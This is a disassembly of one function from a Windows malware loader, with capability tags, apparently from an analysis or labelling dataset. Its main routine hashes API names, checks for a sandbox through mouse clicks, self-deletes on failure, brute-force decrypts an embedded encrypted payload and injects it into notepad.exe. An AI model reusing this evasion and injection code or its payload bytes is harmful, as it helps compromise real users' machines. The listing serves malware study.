Function at 0x140003a10
Capabilities:
Check os version
Encode data using xor
Parse pe header

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
xor r12d, r12d
mov ebx, r12d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r12 + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140003a52
mov dword [rax], 0xa9
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x140003ac8
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
mov qword [rsp + 0x428], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140003b08
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140003b82
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x400
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140003b7b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____LoadLibraryA_Failed_With_Error_:__d__n
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x140004974
mov ecx, 0x349d72e7
mov qword [rsp + 0x420], rsi
call fcn.140002130
mov qword [0x140107098], rax
test rax, rax
jne 0x140003bd2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004960
lea rdx, str.____Couldnt_Get_Handle_To_User32.dll__n
jmp 0x14000491f
mov ecx, 0xfd2ad9bd
call fcn.140002130
mov qword [0x140107090], rax
test rax, rax
jne 0x140003c1a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004960
lea rdx, str.____Couldnt_Get_Handle_To_KERNEL32.dll__n
jmp 0x14000491f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140003c84
lea rdx, str.___Modules_are_loaded..._n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140003cf5
mov r8, qword [0x140107098]
lea rdx, str.value_of_hUser32Module_in_main_function:__p_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140003d66
mov r8, qword [0x140107090]
lea rdx, str.value_of_hKERNEL32Module_in_main_function:__p_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.140002d60
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x140004967
cmp dword [rax + 0x118], 0xa
jne 0x140004967
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rsi, qword [rdi + 0x20]
cmp word [rsi], ax
jne 0x140004967
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140004967
mov ebx, dword [rax + rsi + 0x88]
add rbx, rsi
je 0x140004967
xor edx, edx
lea rcx, [rbp + 0x130]
mov r8d, 0xa8
call fcn.140004990
movabs rax, 0xcf0b8d68666dbee5
lea r8, [rbp + 0x130]
mov rdx, rbx
mov qword [rbp + 0x138], rax
mov rcx, rsi
call fcn.140002c10
test eax, eax
je 0x140004967
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x148]
movabs rax, 0xa6faee6edbad7b5f
mov rdx, rbx
mov qword [rbp + 0x150], rax
call fcn.140002c10
test eax, eax
je 0x140004967
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x160]
movabs rax, 0x940f38326efec7e2
mov rdx, rbx
mov qword [rbp + 0x168], rax
call fcn.140002c10
test eax, eax
je 0x140004967
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x178]
movabs rax, 0x14141dd91f4f6c52
mov rdx, rbx
mov qword [rbp + 0x180], rax
call fcn.140002c10
test eax, eax
je 0x140004967
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x190]
movabs rax, 0xb07d3a80293f81e5
mov rdx, rbx
mov qword [rbp + 0x198], rax
call fcn.140002c10
test eax, eax
je 0x140004967
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x1a8]
movabs rax, 0xbfc1162a17f2e011
mov rdx, rbx
mov qword [rbp + 0x1b0], rax
call fcn.140002c10
test eax, eax
je 0x140004967
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x1c0]
movabs rax, 0xa8fbe425d5deb95d
mov rdx, rbx
mov qword [rbp + 0x1c8], rax
call fcn.140002c10
test eax, eax
je 0x140004967
movss xmm0, dword [0x140006158]
mov qword [rsp + 0x3e8], r14
mov r14d, r12d
mov qword [rsp + 0x3e0], r15
mov dword [rbp + 0x310], r12d
mov qword [rbp + 0x318], r12
call fcn.140001950
test eax, eax
mov r15d, r12d
mov edi, 1
mov edx, 0x4e20
cmovne r15d, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140007028]
test rcx, rcx
je 0x140003fe3
call qword [0x140107068]
test eax, eax
jne 0x140003fe3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rdi + 7]
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140003fe3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____UnhookWindowsHookEx_Failed_With_Error_:__d__n
mov rcx, rsi
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140004054
mov r8d, dword [0x140007024]
lea rdx, str._i__Monitored_Users_Mouse_Clicks_:__d_...
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x140007024], 5
jbe 0x1400040cc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400040c7
lea rdx, str.___Passed_The_Mouse_Click_Test__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14d, edi
jmp 0x140004136
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004136
lea rdx, str.____Posssibly_A_Virtual_Environment__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [r15 + r14]
mov r15, qword [rsp + 0x3e0]
mov r14, qword [rsp + 0x3e8]
cmp eax, 2
jne 0x1400041c5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400041b9
lea rdx, str.Checks_have_failed..._self_deleting_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.140001c30
xor eax, eax
jmp 0x14000496c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x14000422f
lea rdx, str.Checks_have_been_passed..._continuing_execution_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rsp + 0x40], 0x8af3c074
mov dword [rsp + 0x44], 0xfde49336
mov dword [rsp + 0x48], 0xd2f8278a
mov dword [rsp + 0x4c], 0x4aeda349
mov dword [rsp + 0x50], 0x1053e575
mov dword [rsp + 0x54], 0x1759efb5
mov dword [rsp + 0x58], 0x163610e6
mov dword [rsp + 0x5c], 0xec78dd82
mov dword [rsp + 0x30], 0xc754649
mov dword [rsp + 0x34], 0x7b6215b0
mov dword [rsp + 0x38], 0x547ea10c
mov dword [rsp + 0x3c], 0xcc6b25cf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400042f9
lea rdx, str._n___Starting_BruteForceDecryption_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9, qword [0x140107030]
lea r11, [0x140007030]
xor r8b, r8b
lea rax, [r9 + 0x20]
cmp rax, 0x100000
ja 0x14000435a
lea r10, [r9 + r11]
mov qword [0x140107030], rax
mov r9, rax
test r10, r10
je 0x14000435a
nop dword [rax]
inc r8b
movzx eax, r8b
xor al, 0x74
cmp al, 0xa
jne 0x140004330
mov edx, r12d
movsxd rcx, edx
movzx eax, r8b
xor al, byte [rsp + rcx + 0x40]
sub al, dl
inc edx
mov byte [r10 + rcx], al
cmp edx, 0x20
jb 0x140004340
jmp 0x140004361
mov r10, qword [rbp + 0x310]
xor r8b, r8b
lea rax, [r9 + 0x10]
cmp rax, 0x100000
ja 0x1400043aa
mov qword [0x140107030], rax
add r9, r11
je 0x1400043aa
nop dword [rax]
inc r8b
movzx eax, r8b
xor al, 0x49
cmp al, 0xb1
jne 0x140004380
mov edx, r12d
movsxd rcx, edx
movzx eax, r8b
xor al, byte [rsp + rcx + 0x30]
sub al, dl
inc edx
mov byte [r9 + rcx], al
cmp edx, 0x10
jb 0x140004390
jmp 0x1400043b1
mov r9, qword [rbp + 0x310]
mov dword [rsp + 0x60], 0x5e301bfe
mov dword [rsp + 0x64], 0x1e525427
mov dword [rsp + 0x68], 0xba1534ee
mov dword [rsp + 0x6c], 0x7ebb5db2
mov dword [rsp + 0x70], 0xfb14ef92
mov dword [rsp + 0x74], 0x560e9922
mov dword [rsp + 0x78], 0x66f146e3
mov dword [rsp + 0x7c], 0x28895fc6
mov dword [rbp - 0x80], 0xfe7d7d55
mov dword [rbp - 0x7c], 0x8cb018fc
mov dword [rbp - 0x78], 0xa2861395
mov dword [rbp - 0x74], 0x43e4da61
mov dword [rbp - 0x70], 0x335a48e4
mov dword [rbp - 0x6c], 0xde050b8a
mov dword [rbp - 0x68], 0xe66d53d7
mov dword [rbp - 0x64], 0x2f1be495
mov dword [rbp - 0x60], 0x582b06e9
mov dword [rbp - 0x5c], 0x9ba646ac
mov dword [rbp - 0x58], 0x9d0b8d7a
mov dword [rbp - 0x54], 0x917dbc5a
mov dword [rbp - 0x50], 0xa34a7c59
mov dword [rbp - 0x4c], 0xd8fdd1bf
mov dword [rbp - 0x48], 0x37a33a00
mov dword [rbp - 0x44], 0xa0354a8d
mov dword [rbp - 0x40], 0x358a1ec3
mov dword [rbp - 0x3c], 0x1648610
mov dword [rbp - 0x38], 0xe4126254
mov dword [rbp - 0x34], 0x1761bbf2
mov dword [rbp - 0x30], 0x8e4958e6
mov dword [rbp - 0x2c], 0x79025751
mov dword [rbp - 0x28], 0x205bbdf1
mov dword [rbp - 0x24], 0xaea9a6a3
mov dword [rbp - 0x20], 0xf18cb3fa
mov dword [rbp - 0x1c], 0x761b632f
mov dword [rbp - 0x18], 0x78766905
mov dword [rbp - 0x14], 0xc4e57e02
mov dword [rbp - 0x10], 0x1fd96d05
mov dword [rbp - 0xc], 0x2caf1a3d
mov dword [rbp - 8], 0xb27f27f8
mov dword [rbp - 4], 0xb783b27c
mov dword [rbp], 0xb2143aa3
mov dword [rbp + 4], 0x625d8096
mov dword [rbp + 8], 0x7657d0e1
mov dword [rbp + 0xc], 0x4f293cc4
mov dword [rbp + 0x10], 0x38ca1672
mov dword [rbp + 0x14], 0xa39e4bf4
mov dword [rbp + 0x18], 0x279d5211
mov dword [rbp + 0x1c], 0x7cb73afd
mov dword [rbp + 0x20], 0xc1de50a0
mov dword [rbp + 0x24], 0xf857a705
mov dword [rbp + 0x28], 0xcb42b1cc
mov dword [rbp + 0x2c], 0xa91a9ac4
mov dword [rbp + 0x30], 0x78d6389e
mov dword [rbp + 0x34], 0xbea6e3ab
mov dword [rbp + 0x38], 0x243bc325
mov dword [rbp + 0x3c], 0x3f55402b
mov dword [rbp + 0x40], 0x9859cb
mov dword [rbp + 0x44], 0x64a2dc02
mov dword [rbp + 0x48], 0xde8c937f
mov dword [rbp + 0x4c], 0x74fc303b
mov dword [rbp + 0x50], 0x84c794e1
mov dword [rbp + 0x54], 0xba42cf72
mov dword [rbp + 0x58], 0xde09424b
mov dword [rbp + 0x5c], 0xa7d6cd10
mov dword [rbp + 0x60], 0x65da26ac
mov dword [rbp + 0x64], 0x80cb2cb
mov dword [rbp + 0x68], 0xa96ccdc1
mov dword [rbp + 0x6c], 0xa280365
mov dword [rbp + 0x70], 0x1254c61f
mov dword [rbp + 0x74], 0xe2a4d4e8
mov dword [rbp + 0x78], 0x46a9e868
mov dword [rbp + 0x7c], 0xdb9eddbe
mov dword [rbp + 0x80], 0xa769a6bc
mov dword [rbp + 0x84], 0xe05dbadc
mov dword [rbp + 0x88], 0xd142b985
mov dword [rbp + 0x8c], 0xe87e7523
mov dword [rbp + 0x90], 0x67076cbd
mov dword [rbp + 0x94], 0xb3070a4c
mov dword [rbp + 0x98], 0x116a7494
mov dword [rbp + 0x9c], 0x3bc5e21b
mov dword [rbp + 0xa0], 0xff47b3e4
mov r8, r9
mov dword [rbp + 0xa4], 0x79988306
mov rdx, r10
mov dword [rbp + 0xa8], 0x3cc576e1
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0xac], 0x33617afe
mov dword [rbp + 0xb0], 0x62a5c9dc
mov dword [rbp + 0xb4], 0xe103b161
mov dword [rbp + 0xb8], 0x40461277
mov dword [rbp + 0xbc], 0x9a253cff
mov dword [rbp + 0xc0], 0xaab73a75
mov dword [rbp + 0xc4], 0xf9c16132
mov dword [rbp + 0xc8], 0x20250638
mov dword [rbp + 0xcc], 0x427f806e
mov dword [rbp + 0xd0], 0xd3edd774
mov dword [rbp + 0xd4], 0xf8798b1a
mov dword [rbp + 0xd8], 0x51cf002a
mov dword [rbp + 0xdc], 0x4b9017ea
mov dword [rbp + 0xe0], 0xdc752dca
mov dword [rbp + 0xe4], 0x3c210cf2
mov dword [rbp + 0xe8], 0xcbd8a859
mov dword [rbp + 0xec], 0xe3e276b5
mov dword [rbp + 0xf0], 0xb4ec091a
mov dword [rbp + 0xf4], 0x3f8ef243
mov dword [rbp + 0xf8], 0x87ca8c34
mov dword [rbp + 0xfc], 0xc254e596
mov dword [rbp + 0x100], 0x5be642ef
mov dword [rbp + 0x104], 0x64c963d4
mov dword [rbp + 0x108], 0x390ea98c
mov dword [rbp + 0x10c], 0xd49d6f82
mov dword [rbp + 0x110], 0x59c8d12e
mov dword [rbp + 0x114], 0x4be08fe1
mov dword [rbp + 0x118], 0x8efe154d
mov dword [rbp + 0x11c], 0xc0d73bc1
mov dword [rbp + 0x120], 0x81b94a18
mov dword [rbp + 0x124], 0x5edaf470
mov dword [rbp + 0x128], 0x120945c5
mov dword [rbp + 0x12c], 0xc023d2a8
call fcn.1400010a0
mov r8d, 0x1d0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1e0]
call fcn.140001000
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004803
lea r8, str.notepad.exe
mov rcx, rax
lea rdx, str._i__Targetting_Remote_Process__ws_...__n
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r9, [rbp + 0x318]
lea r8, [rbp + 0x310]
lea rdx, str.notepad.exe
lea rcx, [rbp + 0x130]
call fcn.140002410
test eax, eax
jne 0x14000485a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004960
lea rdx, str.____Could_Not_Find_Target_Process_Id__n
jmp 0x14000491f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400048cb
mov r8d, dword [rbp + 0x310]
lea rdx, str.___Target_Process_Id_Detected_Of_PID_:__d__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rbp + 0x318]
lea r8, [rsp + 0x60]
mov r9d, 0x1d0
mov dword [rsp + 0x20], r12d
lea rcx, [rbp + 0x130]
call fcn.1400031c0
test eax, eax
jne 0x1400041be
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004960
lea rdx, str.____Failed_To_Inject_Payload__n
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
jmp 0x14000496c
mov eax, 1
mov rsi, qword [rsp + 0x420]
mov rdi, qword [rsp + 0x428]
add rsp, 0x3f0
pop r12
pop rbx
pop rbp
ret